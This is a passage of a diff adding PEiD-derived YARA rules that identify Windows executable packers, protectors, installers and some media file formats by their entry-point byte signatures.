+{
+    meta:
+        description = "[hmimys's PE-Pack 0.1 -> hmimys]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5D 83 ED 05 6A 00 FF 95 E1 0E 00 00 89 85 85 0E 00 00 8B 58 3C 03 D8 81 C3 F8 00 00 00 80 AD 89 0E 00 00 01 89 9D 63 0F 00 00 8B 4B 0C 03 8D 85 0E 00 00 8B 53 08 80 BD 89 0E 00 00 00 75 0C 03 8D 91 0E 00 00 2B 95 91 0E 00 00 89 8D 57 0F 00 00 89 95 5B 0F 00 00 8B 5B 10 89 9D 5F 0F 00 00 8B 9D 5F 0F 00 00 8B 85 57 0F 00 00 53 50 E8 B7 0B 00 00 89 85 73 0F 00 00 6A 04 68 00 10 00 00 50 6A 00 FF 95 E9 0E 00 00 89 85 6B 0F 00 00 6A 04 68 00 10 00 00 68 D8 7C 00 00 6A 00 FF 95 E9 0E 00 00 89 85 6F 0F 00 00 8D 85 67 0F 00 00 8B 9D 73 0F 00 00 8B 8D 6B 0F 00 00 8B 95 5B 0F 00 00 83 EA 0E 8B B5 57 0F 00 00 83 C6 0E 8B BD 6F 0F 00 00 50 53 51 52 56 68 D8 7C 00 00 57 E8 01 01 00 00 8B 9D 57 0F 00 00 8B 03 3C 01 75}
+    condition:
+        $a
+}
+rule PEiD_00891_hmimys_Packer_1_0____hmimys_
+{
+    meta:
+        description = "[hmimys-Packer 1.0 -> hmimys]"
+        ep_only = "false"
+    strings:
+        $a = {5E 83 C6 64 AD 50 AD 50 83 EE 6C AD 50 AD 50 AD 50 AD 50 AD 50 E8 E7 07 00 00}
+    condition:
+        $a
+}
+rule PEiD_00892_hmimys_Packer_1_0____hmimys_
+{
+    meta:
+        description = "[hmimys-Packer 1.0 -> hmimys]"
+        ep_only = "false"
+    strings:
+        $a = {5E 83 C6 64 AD 50 AD 50 83 EE 6C AD 50 AD 50 AD 50 AD 50 AD 50 E8 E7 07}
+    condition:
+        $a
+}
+rule PEiD_00893_hmimys_Packer_1_0_
+{
+    meta:
+        description = "[hmimys-Packer 1.0]"
+        ep_only = "true"
+    strings:
+        $a = {E8 BA 00 00 00 03 00 00 00 00 ?? ?? 00 00 10 40 00 ?? ?? ?? 00 ?? ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_00894_HPA_
+{
+    meta:
+        description = "[HPA]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5E 8B D6 83 ?? ?? 83 ?? ?? 06 0E 1E 0E 1F 33 FF 8C D3}
+    condition:
+        $a
+}
+/*
+rule PEiD_00895_HQR_data_file_
+{
+    meta:
+        description = "[HQR data file]"
+        ep_only = "false"
+    strings:
+        $a = {48 00 00 00 ?? 02 00 00 ?? ?? 00 00 ?? ?? 00 00}
+    condition:
+        $a
+}
+*/
+rule PEiD_00896_hying_s_PE_Armor____hying_CCG_
+{
+    meta:
+        description = "[hying's PE-Armor -> hying[CCG]"
+        ep_only = "true"
+    strings:
+        $a = {E8 AA 00 00 00 2D ?? ?? ?? 00 00 00 00 00 00 00 00 3D}
+    condition:
+        $a
+}
+rule PEiD_00897_Hying_s_PE_Armor_0_75_exe____Hying__CCG_
+{
+    meta:
+        description = "[Hying's PE-Armor 0.75.exe -> Hying [CCG]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? 00 00 00 00 00 00 ?? ?? 01 00 00 00 00 00 00 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 74 ?? ?? ?? 00 00 00 00 00 00 00 00 84 ?? ?? ?? 74 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 00 08 00 00 00 00 00 00 00 60 E8 00 00 00 00 5D 81 ED D7 00 00 00 8D B5 EE 00 00 00 55 56 81 C5 ?? ?? 00 00 55 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00898_Hying_s_PE_Armor_0_75_exe____Hying__CCG__
+{
+    meta:
+        description = "[Hying's PE-Armor 0.75.exe -> Hying [CCG]]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? 00 00 00 00 00 00 ?? ?? 01 00 00 00 00 00 00 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 74 ?? ?? ?? 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00899_Hying_s_PE_Armor_0_75_exe____Hying_
+{
+    meta:
+        description = "[Hying's PE-Armor 0.75.exe -> Hying]"
+        ep_only = "false"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8E 00 00 00 E8 03 00 00 00 EB 01 ?? E8 81 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B7 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AA 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75}
+    condition:
+        $a
+}
+
+rule PEiD_00900_Hying_s_PE_Armor_0_76____Hying__CCG_
+{
+    meta:
+        description = "[Hying's PE-Armor 0.76 -> Hying [CCG]"
+        ep_only = "false"
+    strings:
+        $a = {01 00 ?? ?? 00 00 00 00 00 00 00 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 56 69 72 74 75 61 6C 46 72 65 65 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 61 ?? ?? ?? 59 ?? ?? ?? ?? 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 8D ?? ?? ?? ?? 00 00 00 00 00 00 00 9D ?? ?? ?? 8D ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 00 00 08 00 00 00 00 00 00 00 60 E8 00 00 00 00 5D 81 ED F0 00 00 00 8D B5 07 01 00 00 55 56 81 C5 ?? ?? ?? ?? 55 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00901_hying_s_PEArmor_V0_76____hying_
+{
+    meta:
+        description = "[hying's PEArmor V0.76 -> hying]"
+        ep_only = "true"
+    strings:
+        $a = {E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00 6A ?? E8 A3 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_00902_IBM_PictureMaker_graphics_file_
+{
+    meta:
+        description = "[IBM PictureMaker graphics file]"
+        ep_only = "false"
+    strings:
+        $a = {00 ?? C1 ?? 00 ?? ?? ?? ?? 02 00 01}
+    condition:
+        $a
+}
+
+rule PEiD_00903_ICrypt_1_0___by_BuGGz_
+{
+    meta:
+        description = "[ICrypt 1.0 - by BuGGz]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 EC 53 56 57 33 C0 89 45 EC B8 70 3B 00 10 E8 3C FA FF FF 33 C0 55 68 6C 3C 00 10 64 FF 30 64 89 20 6A 0A 68 7C 3C 00 10 A1 50 56 00 10 50 E8 D8 FA FF FF 8B D8 53 A1 50 56 00 10 50 E8 0A FB FF FF 8B F8 53 A1 50 56 00 10 50 E8 D4 FA FF FF 8B}
+    condition:
+        $a
+}
+
+rule PEiD_00904_ICrypt_1_0___by_BuGGz_
+{
+    meta:
+        description = "[ICrypt 1.0 - by BuGGz]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 EC 53 56 57 33 C0 89 45 EC B8 70 3B 00 10 E8 3C FA FF FF 33 C0 55 68 6C 3C 00 10 64 FF 30 64 89 20 6A 0A 68 7C 3C 00 10 A1 50 56 00 10 50 E8 D8 FA FF FF 8B D8 53 A1 50 56 00 10 50 E8 0A FB FF FF 8B F8 53 A1 50 56 00 10 50 E8 D4 FA FF FF 8B D8 53 E8 D4 FA FF FF 8B F0 85 F6 74 26 8B D7 4A B8 64 56 00 10 E8 25 F6 FF FF B8 64 56 00 10 E8 13 F6 FF FF 8B CF 8B D6 E8 E6 FA FF FF 53 E8 90 FA FF FF 8D 4D EC BA 8C 3C 00 10 A1 64 56 00 10 E8 16 FB FF FF 8B 55 EC B8 64 56 00 10 E8 C5 F4 FF FF B8 64 56 00 10 E8 DB F5 FF FF E8 56 FC FF FF 33 C0 5A 59 59 64 89 10 68 73 3C 00 10 8D 45 EC E8 4D F4 FF FF C3 E9 E3 EE FF FF EB F0 5F 5E 5B E8 4D F3 FF FF 00 53 45 54 ?? ?? ?? ?? 00 FF FF FF FF 08 00 00 00 76 6F 74 72 65 63 6C 65}
+    condition:
+        $a
+}
+
+rule PEiD_00905_ID_Application_Protector_V1_2____ID_Security_Suite___Sign_by_fly_
+{
+    meta:
+        description = "[ID Application Protector V1.2 -> ID Security Suite ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED F2 0B 47 00 B9 19 22 47 00 81 E9 EA 0E 47 00 89 EA 81 C2 EA 0E 47 00 8D 3A 89 FE 31 C0 E9 D3 02 00 00 CC CC CC CC E9 CA 02 00 00 43 3A 5C 57 69 6E 64 6F 77 73 5C 53 6F 66 74 57 61 72 65 50 72 6F 74 65 63 74 6F 72 5C}
+    condition:
+        $a
+}
+
+rule PEiD_00906_ILUCRYPT_v4_015__exe_
+{
+    meta:
+        description = "[ILUCRYPT v4.015 [exe]"
+        ep_only = "true"
+    strings:
+        $a = {8B EC FA C7 46 F7 ?? ?? 42 81 FA ?? ?? 75 F9 FF 66 F7}
+    condition:
+        $a
+}
+
+rule PEiD_00907_iLUCRYPT_v4_018__exe_
+{
+    meta:
+        description = "[iLUCRYPT v4.018 [exe]"
+        ep_only = "true"
+    strings:
+        $a = {8B EC FA C7 ?? ?? ?? ?? 4C 4C C3 FB BF ?? ?? B8 ?? ?? 2E ?? ?? D1 C8 4F 81}
+    condition:
+        $a
+}
+
+rule PEiD_00908_Img_Software_Set_graphics_file_
+{
+    meta:
+        description = "[Img Software Set graphics file]"
+        ep_only = "false"
+    strings:
+        $a = {53 43 4D 49 20 20 20 31 41 54}
+    condition:
+        $a
+}
+
+rule PEiD_00909_IMP_Packer_1_0____Mahdi_Hezavehi__IMPOSTER_
+{
+    meta:
+        description = "[IMP-Packer 1.0 -> Mahdi Hezavehi [IMPOSTER]"
+        ep_only = "false"
+    strings:
+        $a = {28 ?? ?? ?? 00 00 00 00 00 00 00 00 40 ?? ?? ?? 34 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41}
+    condition:
+        $a
+}
+rule PEiD_00910_IMP_Packer_1_0____Mahdi_Hezavehi__IMPOSTER__
+{
+    meta:
+        description = "[IMP-Packer 1.0 -> Mahdi Hezavehi [IMPOSTER]]"
+        ep_only = "false"
+    strings:
+        $a = {28 ?? ?? ?? 00 00 00 00 00 00 00 00 40 ?? ?? ?? 34 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63}
+    condition:
+        $a
+}
+
+rule PEiD_00911_IMPostor_Pack_1_0____Mahdi_Hezavehi_
+{
+    meta:
+        description = "[IMPostor Pack 1.0 -> Mahdi Hezavehi]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? ?? 00 83 C6 01 FF E6 00 00 00 00 ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? 02 ?? ?? 00 10 00 00 00 02 00}
+    condition:
+        $a
+}
+
+rule PEiD_00912_Inbuild_v1_0__hard_
+{
+    meta:
+        description = "[Inbuild v1.0 [hard]"
+        ep_only = "true"
+    strings:
+        $a = {B9 ?? ?? BB ?? ?? 2E ?? ?? 2E ?? ?? 43 E2}
+    condition:
+        $a
+}
+
+rule PEiD_00913_INCrypter_0_3__INinY____by_z3e_NiFe_
+{
+    meta:
+        description = "[INCrypter 0.3 (INinY) - by z3e_NiFe]"
+        ep_only = "true"
+    strings:
+        $a = {60 64 A1 30 00 00 00 8B 40 0C 8B 40 0C 8D 58 20 C7 03 00 00 00 00 E8 00 00 00 00 5D 81 ED 4D 16 40 00 8B 9D 0E 17 40 00 64 A1 18 00 00 00 8B 40 30 0F B6 40 02 83 F8 01 75 05 03 DB C1 CB 10 8B 8D 12 17 40 00 8B B5 06 17 40 00 51 81 3E 2E 72 73 72 74 65 8B}
+    condition:
+        $a
+}
+
+rule PEiD_00914_INCrypter_0_3__INinY____by_z3e_NiFe_
+{
+    meta:
+        description = "[INCrypter 0.3 (INinY) - by z3e_NiFe]"
+        ep_only = "false"
+    strings:
+        $a = {60 64 A1 30 00 00 00 8B 40 0C 8B 40 0C 8D 58 20 C7 03 00 00 00 00 E8 00 00 00 00 5D 81 ED 4D 16 40 00 8B 9D 0E 17 40 00 64 A1 18 00 00 00 8B 40 30 0F B6 40 02 83 F8 01 75 05 03 DB C1 CB 10 8B 8D 12 17 40 00 8B B5 06 17 40 00 51 81 3E 2E 72 73 72 74 65 8B 85 16 17 40 00 E8 23 00 00 00 8B 85 1A 17 40 00 E8 18 00 00 00 8B 85 1E 17 40 00 E8 0D 00 00 00 8B 85 22 17 40 00 E8 02 00 00 00 EB 18 8B D6 3B 46 0C 72 0A 83 F9 01 74 0B 3B 46 34 72 06 BA 00 00 00 00 C3 58 83 FA 00 75 1A 8B 4E 10 8B 7E 0C 03 BD 02 17 40 00 83 F9 00 74 09 F6 17 31 0F 31 1F 47 E2 F7 59 83 C6 28 49 83 F9 00 75 88 8B 85 0A 17 40 00 89 44 24 1C 61 50 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00915_Inno_Installer_v5_1_2_
+{
+    meta:
+        description = "[Inno Installer v5.1.2]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 58 BB DC 1E 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 50 00 00 68 D8 00 00 00 E8 C1 FE FF FF E9 97 FF FF FF CC CC}
+    condition:
+        $a
+}
+
+rule PEiD_00916_Inno_Setup_Module_v1_09a_
+{
+    meta:
+        description = "[Inno Setup Module v1.09a]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 C0 53 56 57 33 C0 89 45 F0 89 45 C4 89 45 C0 E8 A7 7F FF FF E8 FA 92 FF FF E8 F1 B3 FF FF 33 C0}
+    condition:
+        $a
+}
+
+rule PEiD_00917_Inno_Setup_Module_v1_2_9_
+{
+    meta:
+        description = "[Inno Setup Module v1.2.9]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 C0 53 56 57 33 C0 89 45 F0 89 45 EC 89 45 C0 E8 5B 73 FF FF E8 D6 87 FF FF E8 C5 A9 FF FF E8 E0}
+    condition:
+        $a
+}
+
+rule PEiD_00918_Inno_Setup_Module_v2_0_18_
+{
+    meta:
+        description = "[Inno Setup Module v2.0.18]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 B8 53 56 57 33 C0 89 45 F0 89 45 BC 89 45 B8 E8 73 71 FF FF E8 DA 85 FF FF E8 81 A7 FF FF E8 C8}
+    condition:
+        $a
+}
+
+rule PEiD_00919_Inno_Setup_Module_v3_0_4_beta_v3_0_6_v3_0_7_
+{
+    meta:
+        description = "[Inno Setup Module v3.0.4-beta/v3.0.6/v3.0.7]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 B8 53 56 57 33 C0 89 45 F0 89 45 BC 89 45 B8 E8 B3 70 FF FF E8 1A 85 FF FF E8 25 A7 FF FF E8 6C}
+    condition:
+        $a
+}
+
+rule PEiD_00920_Inno_Setup_Module_
+{
+    meta:
+        description = "[Inno Setup Module]"
+        ep_only = "true"
+    strings:
+        $a = {49 6E 6E 6F 53 65 74 75 70 4C 64 72 57 69 6E 64 6F 77 00 00 53 54 41 54 49 43}
+    condition:
+        $a
+}
+
+rule PEiD_00921_Inno_Setup_Module_
+{
+    meta:
+        description = "[Inno Setup Module]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 ?? 53 56 57 33 C0 89 45 F0 89 45 ?? 89 45 ?? E8 ?? ?? FF FF E8 ?? ?? FF FF E8 ?? ?? FF FF E8 ?? ?? FF FF E8 ?? ?? FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_00922_Install_Stub_32_bit_
+{
+    meta:
+        description = "[Install Stub 32-bit]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 14 ?? 00 00 53 56 57 6A 00 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 29}
+    condition:
+        $a
+}
+rule PEiD_00923_InstallAnywhere_6_1____Zero_G_Software_Inc_
+{
+    meta:
+        description = "[InstallAnywhere 6.1 -> Zero G Software Inc]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE 00 A0 42 00 8D BE 00 70 FD FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07}
+    condition:
+        $a
+}
+
+rule PEiD_00924_InstallAnywhere_6_1____Zero_G_Software_Inc_
+{
+    meta:
+        description = "[InstallAnywhere 6.1 -> Zero G Software Inc]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE 00 A0 42 00 8D BE 00 70 FD FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0}
+    condition:
+        $a
+}
+
+rule PEiD_00925_InstallAnywhere_6_1____Zero_G_Software_Inc_
+{
+    meta:
+        description = "[InstallAnywhere 6.1 -> Zero G Software Inc]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE 00 A0 42 00 8D BE 00 70 FD FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4}
+    condition:
+        $a
+}
+
+rule PEiD_00926_Installer_VISE_Custom_
+{
+    meta:
+        description = "[Installer VISE Custom]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? 40 00 68 ?? ?? 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 ?? ?? 40 00 33 D2 8A D4 89 15 ?? ?? 40 00 8B C8 81 E1 FF 00 00 00 89 0D}
+    condition:
+        $a
+}
+
+rule PEiD_00927_InstallShield_2000_
+{
+    meta:
+        description = "[InstallShield 2000]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 C4 ?? 53 56 57}
+    condition:
+        $a
+}
+
+rule PEiD_00928_InstallShield_3_x_Custom_
+{
+    meta:
+        description = "[InstallShield 3.x Custom]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 00 00 00 00 55 8B EC 6A FF 68 00 A0 40 00 68 34 76 40 00 50 64 89 25 00 00 00 00 83 EC 60 53 56 57 89 65 E8 FF 15 8C E3 40 00 A3 70 B1 40 00 33 C0 A0 71 B1 40 00 A3 7C B1 40 00 A1 70 B1}
+    condition:
+        $a
+}
+
+rule PEiD_00929_InstallShield_Custom_
+{
+    meta:
+        description = "[InstallShield Custom]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 44 56 FF 15 ?? ?? 41 00 8B F0 85 F6 75 08 6A FF FF 15 ?? ?? 41 00 8A 06 57 8B 3D ?? ?? 41 00 3C 22 75 1B 56 FF D7 8B F0 8A 06 3C 22 74 04 84 C0 75 F1 80 3E 22 75 15 56 FF D7 8B}
+    condition:
+        $a
+}
+
+rule PEiD_00930_Interchange_Format_File__IFF___type_WVQA_
+{
+    meta:
+        description = "[Interchange Format File (IFF), type WVQA]"
+        ep_only = "false"
+    strings:
+        $a = {46 4F 52 4D ?? ?? ?? ?? 57 56 51 41 56 51 48 44}
+    condition:
+        $a
+}
+
+rule PEiD_00931_Interplay_s_MVE_file_
+{
+    meta:
+        description = "[Interplay's MVE file]"
+        ep_only = "false"
+    strings:
+        $a = {49 6E 74 65 72 70 6C 61 79 20 4D 56 45 20 46 69 6C 65 1A 00 1A}
+    condition:
+        $a
+}
+
+rule PEiD_00932_Ionic_Wind_Software_
+{
+    meta:
+        description = "[Ionic Wind Software]"
+        ep_only = "true"
+    strings:
+        $a = {9B DB E3 9B DB E2 D9 2D 00 ?? ?? 00 55 89 E5 E8}
+    condition:
+        $a
+}
+
+rule PEiD_00933_iPB_Protect_0_1_3___0_1_7____forgot_
+{
+    meta:
+        description = "[iPB Protect 0.1.3 - 0.1.7 -> forgot]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 4B 43 55 46 68 54 49 48 53 64 A1 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00934_iPBProtect_0_1_3_
+{
+    meta:
+        description = "[iPBProtect 0.1.3]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 4B 43 55 46 68 54 49 48 53 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 FA 33 DB 89 5D F8 6A 02 EB 01 F8 58 5F 5E 5B 64 8B 25 00 00 00 00 64 8F 05 00 00 00 00 58 58 58 5D 68 9F 6F 56 B6 50 E8 5D 00 00 00 EB FF 71 78}
+    condition:
+        $a
+}
+
+rule PEiD_00935_iPBProtect_v0_1_3_
+{
+    meta:
+        description = "[iPBProtect v0.1.3]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 4B 43 55 46 68 54 49 48 53 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 FA 33 DB 89 5D F8 6A 02 EB 01 F8 58 5F 5E 5B 64 8B 25 00 00 00 00 64 8F 05 00 00 00 00 58 58 58 5D 68 9F 6F 56 B6 50 E8 5D 00 00 00 EB FF 71 78 C2 50 00 EB D3 5B F3 68 89 5C 24 48 5C 24 58 FF 8D 5C 24 58 5B 83 C3 4C 75 F4 5A 8D 71 78 75 09 81 F3 EB FF 52 BA 01 00 83 EB FC 4A FF 71 0F 75 19 8B 5C 24 00 00 81 33 50 53 8B 1B 0F FF C6 75 1B 81 F3 EB 87 1C 24 8B 8B 04 24 83 EC FC EB 01 E8 83 EC FC E9 E7 00 00 00 58 EB FF F0 EB FF C0 83 E8 FD EB FF 30 E8 C9 00 00 00 89 E0 EB FF D0 EB FF 71 0F 83 C0 01 EB FF 70 F0 71 EE EB FA EB 83 C0 14 EB FF 70 ED 71 EB EB FA FF 83 C0 FC EB FF 70 ED 71 EB EB FA 0F 83 C0 F8 EB FF 70 ED 71 EB EB FA FF 83 C0 18 EB FF 70}
+    condition:
+        $a
+}
+
+rule PEiD_00936_IProtect_1_0__Fxlib_dll_mode____by_FuXdas_
+{
+    meta:
+        description = "[IProtect 1.0 (Fxlib.dll mode) - by FuXdas]"
+        ep_only = "true"
+    strings:
+        $a = {EB 33 2E 46 55 58 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 46 78 4C 69 62 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 60 E8 00 00 00 00 5D 81 ED 71 10 40 00 FF 74 24 20 E8 40 00 00 00 0B C0 74 2F 89 85 63 10 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_00937_IProtect_1_0__Fxlib_dll_mode____by_FuXdas_
+{
+    meta:
+        description = "[IProtect 1.0 (Fxlib.dll mode) - by FuXdas]"
+        ep_only = "true"
+    strings:
+        $a = {EB 33 2E 46 55 58 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 46 78 4C 69 62 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 60 E8 00 00 00 00 5D 81 ED 71 10 40 00 FF 74 24 20 E8 40 00 00 00 0B C0 74 2F 89 85 63 10 40 00 8D 85 3C 10 40 00 50 FF B5 63 10 40 00 E8 92 00 00 00 0B C0 74 13 89 85 5F 10 40 00 8D 85 49 10 40 00 50 FF 95 5F 10 40 00 8B 85 67 10 40 00 89 44 24 1C 61 FF E0 8B 7C 24 04 8D 85 00 10 40 00 50 64 FF 35 00 00 00 00 8D 85 53 10 40 00 89 20 89 68 04 8D 9D 0A 11 40 00 89 58 08 64 89 25 00 00 00 00 81 E7 00 00 FF FF 66 81 3F 4D 5A 75 0F 8B F7 03 76 3C 81 3E 50 45 00 00 75 02 EB 17 81 EF 00 00 01 00 81 FF 00 00 00 70 73 07 BF 00 00 F7 BF EB 02 EB D3 97 64 8F 05 00 00 00 00 83 C4 04 C2 04 00 8D 85 00 10 40 00 50 64 FF 35 00 00 00 00 8D 85 53 10 40 00 89 20 89 68 04 8D 9D 0A 11 40 00 89 58 08 64 89 25 00 00 00 00 8B 74 24 0C 66 81 3E 4D 5A 74 05 E9 8A 00 00 00 03 76 3C 81 3E 50 45 00 00 74 02 EB 7D 8B 7C 24 10 B9 96 00 00 00 32 C0 F2 AE 8B CF 2B 4C 24 10 8B 56 78 03 54 24 0C 8B 5A 20 03 5C 24 0C 33 C0 8B 3B 03 7C 24 0C 8B 74 24 10 51 F3 A6 75 05 83 C4 04 EB 0A 59 83 C3 04 40 3B 42 18 75 E2 3B 42 18 75 02 EB 35 8B 72 24 03 74 24 0C 52 BB 02 00 00 00 33 D2 F7 E3 5A 03 C6 33 C9 66 8B 08 8B 7A 1C 33 D2 BB 04 00 00 00 8B C1 F7 E3 03 44 24 0C 03 C7 8B 00 03 44 24 0C EB 02 33 C0 64 8F 05 00 00 00 00 83 C4 04 C2 08 00 E8 FA FD FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_00938_IProtect_1_0__FxSub_dll_mode____by_FuXdas_
+{
+    meta:
+        description = "[IProtect 1.0 (FxSub.dll mode) - by FuXdas]"
+        ep_only = "true"
+    strings:
+        $a = {EB 33 2E 46 55 58 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 46 78 53 75 62 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 60 E8 00 00 00 00 5D 81 ED B6 13 40 00 FF 74 24 20 E8 40 00 00 00 0B C0 74 2F 89 85 A8 13 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_00939_IProtect_1_0__FxSub_dll_mode____by_FuXdas_
+{
+    meta:
+        description = "[IProtect 1.0 (FxSub.dll mode) - by FuXdas]"
+        ep_only = "true"
+    strings:
